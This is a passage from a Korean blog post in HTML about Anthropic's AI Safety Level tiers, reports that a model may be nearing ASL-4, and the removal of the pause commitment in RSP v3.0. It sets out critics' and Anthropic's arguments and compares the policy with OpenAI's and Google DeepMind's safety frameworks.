&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;개발자 관점에서&lt;/b&gt;&lt;br /&gt;이 경고가 현실화된다면, 코드베이스를 가진 모든 개발자&amp;middot;기업은 영향을 받는다. 앤트로픽이 방어자 우선 출시를 고려하는 이유가 여기에 있다. 코드 보안 감사 도구, 자동화된 취약점 탐지, 보안 테스트 자동화에 대한 수요가 급격히 높아질 것으로 예상된다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 5 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. ASL-4 임박 신호&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;ASL 체계란&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1042&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ppR9b/dJMcac3A1hf/N7buk3jaVYDSxphfMhDWE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ppR9b/dJMcac3A1hf/N7buk3jaVYDSxphfMhDWE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ppR9b/dJMcac3A1hf/N7buk3jaVYDSxphfMhDWE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FppR9b%2FdJMcac3A1hf%2FN7buk3jaVYDSxphfMhDWE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;1042&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;1042&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 2023년부터 &lt;b&gt;AI Safety Level(ASL)&lt;/b&gt;이라는 자체 위험 평가 체계를 운영하고 있다. AI 모델의 위험 수준을 1~5단계로 구분하는 것으로, RSP(Responsible Scaling Policy)의 핵심 프레임워크다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/responsible-scaling-policy&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;[주의] 아래 표는 RSP v3.0 공식 정의가 아닙니다&lt;/b&gt;&lt;br /&gt;RSP v3.0(2026-02-24)은 ASL 각 단계를 고정된 표로 재정의하지 않는다. v3.0의 핵심 운영 프레임은 단계 표가 아니라 &lt;b&gt;capability/usage thresholds + company plans + industry-wide recommendations + Risk Reports&lt;/b&gt;다. 특히 ASL-4 이상은 의도적으로 미정의 상태로 남겨두었다.&lt;br /&gt;&lt;br /&gt;아래 표는 2023년 RSP 소개와 업계 통용 해석을 정리한 &lt;b&gt;배경 설명&lt;/b&gt;이며, RSP v3.0의 공식 단계 정의로 이해하면 안 된다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://anthropic.com/responsible-scaling-policy/rsp-v3-0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;RSP v3.0 전문&lt;/a&gt;)&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;단계&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수준&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;현재 상태&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;ASL-1&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;기초&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;기본 AI 수준, 최소 위험&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;ASL-2&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;표준&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;일반적 AI 도구 수준&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; background-color: #e8f4f8;&quot;&gt;&lt;b&gt;ASL-3&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; background-color: #e8f4f8;&quot;&gt;고위험&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; background-color: #e8f4f8;&quot;&gt;비AI 기준선(검색&amp;middot;교과서) 대비 CBRN(화학&amp;middot;생물&amp;middot;방사능&amp;middot;핵) 오용 위험을 상당히 증가시키거나 저수준 자율 능력을 보이는 시스템 (출처: Anthropic RSP)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd; background-color: #e8f4f8;&quot;&gt;&lt;b&gt;Claude Opus 4.6에 ASL-3 보호 조치 적용 중 (잠정&amp;middot;예방적)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fff3cd;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;ASL-4&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;초위험&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;[추정]&lt;/b&gt; 국가급 해킹 역량, 자율적 AI 연구 가능 &amp;mdash; &lt;span style=&quot;color: #cc7700;&quot;&gt;RSP v3.0에서 의도적으로 미정의. 향후 고역량 수준 확인 시 개발 예정&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;[추정] Mythos 접근 중 (미공식)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;ASL-5&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;초월&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;인류 문명 수준 위협&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;현재 모델 수준과 ASL-4 임박&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;RSP v3.0(2026-02-24 발효) 문서에 따르면, Claude Opus 4.6은 AI R&amp;amp;D-4 능력 임계값을 초과하지 않는 것으로 현재 평가되어 있다. 그러나 문서는 동시에 이렇게 밝힌다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/responsible-scaling-policy-v3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP v3.0 발표&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px 20px; border-radius: 10px; border-left: 4px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;RSP v3.0 문서 내용&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&quot;자신 있게 이 임계값을 배제하기가 점점 더 어려워지고 있으며, 더 주관적인 평가가 필요하다&quot;&lt;br /&gt;(RSP v3.0, 앤트로픽 공식 문서)&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;여러 매체의 분석에 따르면, Claude Mythos는 ASL-4 임계값에 &quot;접근 중&quot;일 가능성이 있다. 앤트로픽이 유출 문서에서 이 모델을 &quot;전례 없는 사이버보안 위험&quot;이라고 표현한 것이 이 분석의 근거다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그러나 중요한 사실은 &lt;b&gt;ASL-4가 아직 정식으로 정의되지 않았다&lt;/b&gt;는 점이다. RSP v3.0에서 상위 ASL(4 이상)은 &quot;더 높은 AI 역량 수준이 어떤 모습일지 더 나은 그림이 생기면 세부 사항을 발전시킬 것&quot;이라고 명시한다. ASL-4 자체가 현재 미완성 정의라는 점에서, 어떤 모델이 ASL-4라고 공식 선언하는 것은 한동안 어렵다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GovAI RSP v3.0 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Boris Cherny의 ASL 발언&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI타임스 보도에서는 앤트로픽 Claude Code 책임자 &lt;b&gt;Boris Cherny&lt;/b&gt;가 2026년 2월 초 팟캐스트에서 &quot;현재 모델이 ASL-3에서 4로 넘어가는 단계&quot;라고 밝혔다고 인용했다. 보리스 체르니(Boris Cherny, 앤트로픽의 Claude Code 창시자)의 2026년 2월 인터뷰는 Lenny's Newsletter 팟캐스트 등에서 확인되며, ASL 레벨 전환에 관한 발언도 여러 경로에서 보도됐다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff9e6; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&quot;ASL-3에서 4로 넘어가는 단계&quot;라는 정확한 인용구가 특정 팟캐스트 에피소드에서 그대로 발언됐는지는 공개 트랜스크립트를 통해 직접 확인하지 못했다. 발언의 취지는 여러 보도에서 유사하게 서술되지만, 인용 정확도는 원본 팟캐스트를 직접 확인할 것을 권장한다.&lt;br /&gt;&lt;br /&gt;관련 인터뷰: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.lennysnewsletter.com/p/head-of-claude-code-what-happens&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Lenny's Newsletter - Boris Cherny&lt;/a&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 6 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. RSP v3.0 &amp;mdash; Pause 약속 삭제의 의미&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;무엇이 바뀌었나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2026년 2월 24일&lt;/b&gt;&lt;/span&gt; RSP v3.0을 발효했다. AI타임스 기사에서 &quot;2월 25일&quot;로 보도한 것과 하루 차이가 있는데, 이는 외신 보도 날짜(2월 25일 집중 보도)와 공식 발효일(2월 24일)이 혼동된 것으로 보인다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/responsible-scaling-policy-v3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP v3.0 공식 발표&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;RSP v3.0의 가장 큰 변화는 &lt;b&gt;이전 버전에 있던 &quot;학습 중단(pause training)&quot; 하드 커밋먼트의 삭제&lt;/b&gt;다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0px; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이전 RSP&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;RSP v3.0 (2026-02-24)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;학습 중단 조건&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;안전 완화 조치를 보장하지 못하면 &lt;b&gt;개발 중단&lt;/b&gt; (하드 커밋먼트)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;단독 pause 조항 삭제.&lt;/b&gt; 대신 &lt;b&gt;구조 변경&lt;/b&gt;: Risk Reports + external review + competitor-contingent commitments + industry-wide recommendations로 분리. 경쟁사 안전 조치 수준에 따른 조건부 약속(Appendix A) 포함&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;ASL-4 이상 정의&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;2023 RSP도 이미 ASL-4+는 &quot;아직 정의되지 않음&quot;으로 명시&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;의도적으로 미정의. 향후 고역량 수준 확인 시 개발 예정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;일방적 vs 업계 공동&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;앤트로픽 단독 약속&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;단독 조치 + 업계 공동 권고 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&lt;b&gt;새 추가 요소&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;&amp;mdash;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #dddddd;&quot;&gt;Frontier Safety Roadmaps + Risk Reports 도입&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;왜 바꿨나&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;앤트로픽은 이 변경에 대해 다음과 같이 설명한다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/news/responsible-scaling-policy-v3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;RSP v3.0 공식 발표&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;논리 1 &amp;mdash; 경쟁 현실&lt;/b&gt;: 경쟁사들이 개발을 멈추지 않는 상황에서 앤트로픽만 일방적으로 개발을 중단해도 AI 위험을 줄이는 효과가 없다. 오히려 더 안전 의식이 낮은 회사가 프론티어를 장악하는 결과를 낳는다는 논리다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;논리 2 &amp;mdash; 집단 행동 필요&lt;/b&gt;: 상위 ASL의 위험은 단일 회사가 감당하기 어렵다. RSP v3.0은 더 높은 수준의 안전 조치는 업계 전체 또는 정부 차원의 공동 행동이 필요하다고 명시하며, 앤트로픽의 단독 약속이 아닌 업계 권고 사항으로 분류한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;비판과 반론&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1930&quot; data-origin-height=&quot;1010&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckeAVP/dJMcadnTlAH/10rhTAtrY2JwAX7VIqvynK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckeAVP/dJMcadnTlAH/10rhTAtrY2JwAX7VIqvynK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckeAVP/dJMcadnTlAH/10rhTAtrY2JwAX7VIqvynK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckeAVP%2FdJMcadnTlAH%2F10rhTAtrY2JwAX7VIqvynK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1930&quot; height=&quot;1010&quot; data-origin-width=&quot;1930&quot; data-origin-height=&quot;1010&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 변경은 AI 안전 커뮤니티에서 상당한 비판을 받았다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.safer-ai.org/anthropics-responsible-scaling-policy-update-makes-a-step-backwards&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SaferAI 분석&lt;/a&gt;, &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GovAI 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;비판 측 주요 논거&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;&quot;경쟁사가 하니까 나도 한다&quot;는 논리는 군비 경쟁(arms race)을 정당화하는 레이스 투 더 바텀(race to the bottom)이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;기존 &quot;pause 약속&quot;이 앤트로픽의 안전 우선 철학의 핵심 차별화 요소였는데, 이를 삭제하면 다른 회사들과 구분이 어려워진다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;RAND 보고서는 ASL-4급 보안 표준이 &quot;현재 불가능하며 국가 보안 커뮤니티의 지원이 필요하다&quot;고 지적하는데, 이 현실을 인정하면서도 개발을 계속하는 것은 모순이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;앤트로픽 측 반론&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;기존 ASL-3 보호 조치는 완전히 유지한다. 낮추는 것이 아니라 조건을 명확히 하는 것이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;새로 도입된 Frontier Safety Roadmaps와 Risk Reports는 오히려 투명성을 높이는 조치다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px; line-height: 1.6;&quot;&gt;안전 의식이 낮은 회사들이 프론티어를 차지하는 것보다, 안전을 중시하는 앤트로픽이 계속 선두를 유지하는 것이 장기적으로 더 안전하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;업계 정책 비교 &amp;mdash; OpenAI&amp;middot;Google과의 수렴과 차이&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;RSP v3.0의 변화를 Anthropic만의 안전 후퇴로 보기 전에, 경쟁사의 정책 방향도 함께 봐야 한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;프론티어 AI 안전 정책 비교 (2025~2026)&lt;/b&gt;&lt;br /&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px; margin-top: 10px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #cce5ff;&quot;&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff; width: 12.4694%;&quot;&gt;회사&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff; width: 22.6161%;&quot;&gt;정책명 / 발표&lt;/th&gt;
&lt;th style=&quot;padding: 8px 12px; text-align: left; border: 1px solid #b3d9ff; width: 64.7922%;&quot;&gt;핵심 구조&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 12.4694%;&quot;&gt;&lt;b&gt;Anthropic&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 22.6161%;&quot;&gt;RSP v3.0 (2026-02-24)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 64.7922%;&quot;&gt;ASL capability thresholds + Risk Reports + Frontier Safety Roadmaps + competitor-contingent commitments&lt;br /&gt;&lt;br /&gt;(ASL 역량 임계값 + 위험 보고서(Risk Reports) + Frontier Safety 로드맵 + 경쟁사 조건부 약속)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 12.4694%;&quot;&gt;&lt;b&gt;OpenAI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 22.6161%;&quot;&gt;Preparedness Framework (2025-04-15 개정)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 64.7922%;&quot;&gt;Tracked Categories + High/Critical capability 등급 + Capabilities Reports + Safeguards Reports&lt;br /&gt;&lt;br /&gt;추적 대상 카테고리 + High/Critical 역량 등급 + 역량 보고서(Capabilities Reports) + 보호조치 보고서(Safeguards Reports)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 12.4694%;&quot;&gt;&lt;b&gt;Google DeepMind&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 22.6161%;&quot;&gt;Frontier Safety Framework v3 (2025-09-22)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dddddd; width: 64.7922%;&quot;&gt;CCL(Critical Capability Level) + alert thresholds + safety case reviews + CCL 도달 시 mitigations 의무화&lt;br /&gt;&lt;br /&gt;CCL(중대한 역량 수준, Critical Capability Level) + 경보 임계값(alert thresholds) + 안전성 검토(safety case reviews) + CCL에 도달했을 때 완화 조치(mitigations) 의무화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-style: italic; color: #666; font-size: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;※ OpenAI Preparedness Framework 개정일은 2025-04-15 기준. Google FSF v3는 2025-09-22. [출처: 각 회사 공식 문서]&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;세 회사 모두 &lt;b&gt;단독 pause 약속보다 구조화된 능력 평가 + 조건부 조치&lt;/b&gt; 방향으로 수렴하고 있다. Anthropic이 RSP v3.0에서 pause 약속을 삭제한 것은 업계 고립적 후퇴가 아니라, 이 수렴 흐름의 일부다. 그러나 비판론자들은 세 회사 모두 &quot;자기 평가 + 자기 결정&quot;이라는 구조적 한계를 공유한다고 지적한다. (출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GovAI RSP v3.0 분석&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 섹션 7 --&gt; &lt;!-- ============================================================ --&gt;
